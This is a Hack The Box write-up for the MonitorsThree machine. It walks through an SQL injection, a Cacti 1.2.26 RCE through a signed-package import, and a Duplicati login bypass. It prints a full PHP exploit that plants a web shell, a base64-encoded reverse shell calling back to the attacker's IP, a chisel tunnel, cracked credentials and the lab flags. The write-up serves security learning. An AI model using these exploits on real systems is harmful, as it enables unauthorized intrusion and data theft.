Skip to content
HTB • CTF • MonitorsThree • Write-Up

HTB • CTF • MonitorsThree • Write-Up

Published: at 02:06 PM

Table of contents

Open Table of contents

Info

CTF URL: https://app.hackthebox.com/machines/MonitorsThree

IP: 10.10.11.30

Difficulty: Medium

Reconnaissance

NMAP

nmap -p- -sS -sC -sV 10.10.11.30 -v --min-rate 10000

PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
8084/tcp filtered websnp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Adding monitorsthree.htb to hosts file.

WEB

Looking Passively, there is a login form and forgot password form.

Dir

Additionally there is an admin directory.

dirsearch -u http://monitorsthree.htb/
# result
/admin - 403

Subdomain

gobuster vhost -u monitorsthree.htb  -w /usr/share/wordlists/dirb/big.txt   --append-domain
Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]

add it to /etc/hosts too

SQLi

After trying ' to login and forgot password forms, SQLi found: _

SQLi

Error Based SQLi

31a181c8372e3afc59dab863430610e8
c585d01f2eb3e6e1073e92023088a3dd
1e68b6eb86b45f6d92f8f292428f77ac
633b683cc128fe244b00f176c8a950f5

crackstation result:

First found credentials!

usernamepassword
admingreencacti2001

RCE

The credentials allow login on cacti.monitorsthree.htb. The platform is Cacti Version 1.2.26.

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php system(\$_GET[\"cmd\"]);?>";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
vim exp.php
php exp.php

Then _ select the test.xml.gz and import it. Then navigate to resource/test.php _

but it gets deleted fast. Let’s modify payload for reverse shell. I added base64 encoded Pentest Monkey reverse shell. (https://www.revshells.com/)

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$encoded_filedata = "PD9waHAKLy8gcGhwLXJldmVyc2Utc2hlbGwgLSBBIFJldmVyc2UgU2hlbGwgaW1wbGVtZW50YXRpb24gaW4gUEhQLiBDb21tZW50cyBzdHJpcHBlZCB0byBzbGltIGl0IGRvd24uIFJFOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcGVudGVzdG1vbmtleS9waHAtcmV2ZXJzZS1zaGVsbC9tYXN0ZXIvcGhwLXJldmVyc2Utc2hlbGwucGhwCi8vIENvcHlyaWdodCAoQykgMjAwNyBwZW50ZXN0bW9ua2V5QHBlbnRlc3Rtb25rZXkubmV0CgpzZXRfdGltZV9saW1pdCAoMCk7CiRWRVJTSU9OID0gIjEuMCI7CiRpcCA9ICcxMC4xMC4xNC40JzsKJHBvcnQgPSAxMjM0OwokY2h1bmtfc2l6ZSA9IDE0MDA7CiR3cml0ZV9hID0gbnVsbDsKJGVycm9yX2EgPSBudWxsOwokc2hlbGwgPSAndW5hbWUgLWE7IHc7IGlkOyAvYmluL2Jhc2ggLWknOwokZGFlbW9uID0gMDsKJGRlYnVnID0gMDsKCmlmIChmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2ZvcmsnKSkgewoJJHBpZCA9IHBjbnRsX2ZvcmsoKTsKCQoJaWYgKCRwaWQgPT0gLTEpIHsKCQlwcmludGl0KCJFUlJPUjogQ2FuJ3QgZm9yayIpOwoJCWV4aXQoMSk7Cgl9CgkKCWlmICgkcGlkKSB7CgkJZXhpdCgwKTsgIC8vIFBhcmVudCBleGl0cwoJfQoJaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSB7CgkJcHJpbnRpdCgiRXJyb3I6IENhbid0IHNldHNpZCgpIik7CgkJZXhpdCgxKTsKCX0KCgkkZGFlbW9uID0gMTsKfSBlbHNlIHsKCXByaW50aXQoIldBUk5JTkc6IEZhaWxlZCB0byBkYWVtb25pc2UuICBUaGlzIGlzIHF1aXRlIGNvbW1vbiBhbmQgbm90IGZhdGFsLiIpOwp9CgpjaGRpcigiLyIpOwoKdW1hc2soMCk7CgovLyBPcGVuIHJldmVyc2UgY29ubmVjdGlvbgokc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDMwKTsKaWYgKCEkc29jaykgewoJcHJpbnRpdCgiJGVycnN0ciAoJGVycm5vKSIpOwoJZXhpdCgxKTsKfQoKJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCiAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAgLy8gc3RkaW4gaXMgYSBwaXBlIHRoYXQgdGhlIGNoaWxkIHdpbGwgcmVhZCBmcm9tCiAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgLy8gc3Rkb3V0IGlzIGEgcGlwZSB0aGF0IHRoZSBjaGlsZCB3aWxsIHdyaXRlIHRvCiAgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpICAgLy8gc3RkZXJyIGlzIGEgcGlwZSB0aGF0IHRoZSBjaGlsZCB3aWxsIHdyaXRlIHRvCik7CgokcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGwsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKCmlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CglwcmludGl0KCJFUlJPUjogQ2FuJ3Qgc3Bhd24gc2hlbGwiKTsKCWV4aXQoMSk7Cn0KCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOwoKcHJpbnRpdCgiU3VjY2Vzc2Z1bGx5IG9wZW5lZCByZXZlcnNlIHNoZWxsIHRvICRpcDokcG9ydCIpOwoKd2hpbGUgKDEpIHsKCWlmIChmZW9mKCRzb2NrKSkgewoJCXByaW50aXQoIkVSUk9SOiBTaGVsbCBjb25uZWN0aW9uIHRlcm1pbmF0ZWQiKTsKCQlicmVhazsKCX0KCglpZiAoZmVvZigkcGlwZXNbMV0pKSB7CgkJcHJpbnRpdCgiRVJST1I6IFNoZWxsIHByb2Nlc3MgdGVybWluYXRlZCIpOwoJCWJyZWFrOwoJfQoKCSRyZWFkX2EgPSBhcnJheSgkc29jaywgJHBpcGVzWzFdLCAkcGlwZXNbMl0pOwoJJG51bV9jaGFuZ2VkX3NvY2tldHMgPSBzdHJlYW1fc2VsZWN0KCRyZWFkX2EsICR3cml0ZV9hLCAkZXJyb3JfYSwgbnVsbCk7CgoJaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkgewoJCWlmICgkZGVidWcpIHByaW50aXQoIlNPQ0sgUkVBRCIpOwoJCSRpbnB1dCA9IGZyZWFkKCRzb2NrLCAkY2h1bmtfc2l6ZSk7CgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSzogJGlucHV0Iik7CgkJZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsKCX0KCglpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSkgewoJCWlmICgkZGVidWcpIHByaW50aXQoIlNURE9VVCBSRUFEIik7CgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzFdLCAkY2h1bmtfc2l6ZSk7CgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RET1VUOiAkaW5wdXQiKTsKCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7Cgl9CgoJaWYgKGluX2FycmF5KCRwaXBlc1syXSwgJHJlYWRfYSkpIHsKCQlpZiAoJGRlYnVnKSBwcmludGl0KCJTVERFUlIgUkVBRCIpOwoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOwoJCWlmICgkZGVidWcpIHByaW50aXQoIlNUREVSUjogJGlucHV0Iik7CgkJZndyaXRlKCRzb2NrLCAkaW5wdXQpOwoJfQp9CgpmY2xvc2UoJHNvY2spOwpmY2xvc2UoJHBpcGVzWzBdKTsKZmNsb3NlKCRwaXBlc1sxXSk7CmZjbG9zZSgkcGlwZXNbMl0pOwpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKCmZ1bmN0aW9uIHByaW50aXQgKCRzdHJpbmcpIHsKCWlmICghJGRhZW1vbikgewoJCXByaW50ICIkc3RyaW5nXG4iOwoJfQp9Cgo/Pg==";
$filedata = base64_decode($encoded_filedata);
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.30] 53766
Linux monitorsthree 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 06:44:37 up 11:15,  0 users,  load average: 0.05, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1196): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:/$

Voila, the shell!

Shell Stabilization.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# ctrl+z
stty raw -echo; fg

PrivEsc

Recon

opt Folder

Docker Compose File

/opt/docker-compose.yml

version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped

It works on 8200

Duplicati’s Config

In /opt/duplicati/config

drwxr-xr-x 3 root root    4096 Aug 18 08:00 .config
-rw-r--r-- 1 root root 2461696 Aug 26 19:29 CTADPNHLTC.sqlite
-rw-r--r-- 1 root root   90112 Aug 26 19:30 Duplicati-server.sqlite
drwxr-xr-x 2 root root    4096 Aug 18 08:00 control_dir_v2

let’s transfer them to attack machine for further review.

CTADPNHLTC.sqlite
sqlite> .table
Block              Configuration      Fileset            Operation
BlocklistHash      DeletedBlock       FilesetEntry       PathPrefix
Blockset           DuplicateBlock     IndexBlockLink     RemoteOperation
BlocksetEntry      File               LogData            Remotevolume
ChangeJournalData  FileLookup         Metadataset        Version

Nothing interesting.

Duplicati-server.sqlite
sqlite> .table
Backup        Log           Option        TempFile
ErrorLog      Metadata      Schedule      UIStorage
Filter        Notification  Source        Version

sqlite> select * from Option;
...
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|32165ca2-53db-4629-bd60-4356ebe04f50
-2||server-passphrase-trayicon-hash|dbRBhuyod7M7xJrfMIE6b+8+59g8H5CUf4W2jFgkfHo=
...

Noted.

Users

ls -al /home
drwxr-x---  4 marcus marcus 4096 Aug 16 11:35 marcus

Network

Network Interfaces

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:53:b4 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.30/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: br-c7b83e1b07b0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:fa:df:1c:fa brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-c7b83e1b07b0
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:a6:ab:25:46 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
6: vethad6ba12@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-c7b83e1b07b0 state UP group default
    link/ether 42:eb:ef:1f:7f:5b brd ff:ff:ff:ff:ff:ff link-netnsid 0

Open Internal Ports

ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*
tcp   LISTEN 0      70         127.0.0.1:3306       0.0.0.0:*
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*    users:(("nginx",pid=1300,fd=6),("nginx",pid=1299,fd=6))
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:38637      0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:8200       0.0.0.0:*
tcp   LISTEN 0      500          0.0.0.0:8084       0.0.0.0:*    users:(("mono",pid=1241,fd=5))
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN 0      511             [::]:80            [::]:*    users:(("nginx",pid=1300,fd=7),("nginx",pid=1299,fd=7))
tcp   LISTEN 0      128             [::]:22            [::]:*

Port Forward with Chisel

# on attack machine
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_linux_amd64.gz
gunzip chisel_1.10.0_linux_amd64.gz
chmod +x chisel_1.10.0_linux_amd64
python3 -m http.server 5555
# on victim machine
cd /tmp
wget http://10.10.14.4:5555/chisel_1.10.0_linux_amd64
chmod +x chisel_1.10.0_linux_amd64

Then Port Forward

# on kali
./chisel_1.10.0_linux_amd64 server --socks5 --reverse -p 3333
# on victim
./chisel_1.10.0_linux_amd64 client 10.10.14.4:3333 R:8200:127.0.0.1:8200

Duplicati

After Port Forwarding the service is available on 127.0.0.1:8200 on attack machine.

Auth Bypass

I has a password form. At http://127.0.0.1:8200/login/login.js, it has script for login:

$(document).ready(function () {
  var processing = false;

  $("#login-button").click(function () {
    if (processing) return;

    processing = true;

    // First we grab the nonce and salt
    $.ajax({
      url: "./login.cgi",
      type: "POST",
      dataType: "json",
      data: { "get-nonce": 1 },
    })
      .done(function (data) {
        var saltedpwd = CryptoJS.SHA256(
          CryptoJS.enc.Hex.parse(
            CryptoJS.enc.Utf8.parse($("#login-password").val()) +
              CryptoJS.enc.Base64.parse(data.Salt)
          )
        );

        var noncedpwd = CryptoJS.SHA256(
          CryptoJS.enc.Hex.parse(
            CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd
          )
        ).toString(CryptoJS.enc.Base64);

        $.ajax({
          url: "./login.cgi",
          type: "POST",
          dataType: "json",
          data: { password: noncedpwd },
        })
          .done(function (data) {
            window.location = "./";
          })
          .fail(function (data) {
            var txt = data;
            if (txt && txt.statusText) txt = txt.statusText;
            alert("Login failed: " + txt);
            processing = false;
          });
      })
      .fail(function (data) {
        var txt = data;
        if (txt && txt.statusText) txt = txt.statusText;

        alert("Failed to get nonce: " + txt);
        processing = false;
      });
    return false;
  });
});

We need to bypass it.

Following guide from the article:

var noncedpwd = CryptoJS.SHA256(
  CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)
).toString(CryptoJS.enc.Base64);
// replace data.Nonce with the Nonce
// replace saltedpwd with the server path
var noncedpwd = CryptoJS.SHA256(
  CryptoJS.enc.Hex.parse(
    CryptoJS.enc.Base64.parse("5IC8x9DYT2OO0PIeiCRanv2wcde8XAQWdGJ+NiI7C2o=") +
      "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a"
  )
).toString(CryptoJS.enc.Base64);

The resulting noncepwd we got: nR8vJKUQatDouT39VNqq6lYAQVYgu/E5J1zpSiFtCSQ=.

In the Duplicati

In the Duplicati we can browse all files and directories. The directory under /source is the root directory of the machine.

So, I backed up /source/root and /source/home directories. With no encryption. Destination is /source/tmp. Run it now. Then restore the files _ choose the files _ choose location as /source/tmp _

Get Flags

www-data@monitorsthree:/tmp$ cat root/root.txt
ff5b390e92019754f98fae92801d80e2
www-data@monitorsthree:/tmp$ cat home/marcus/user.txt
87ee7cf47c5e38fb4673c30542500349

Result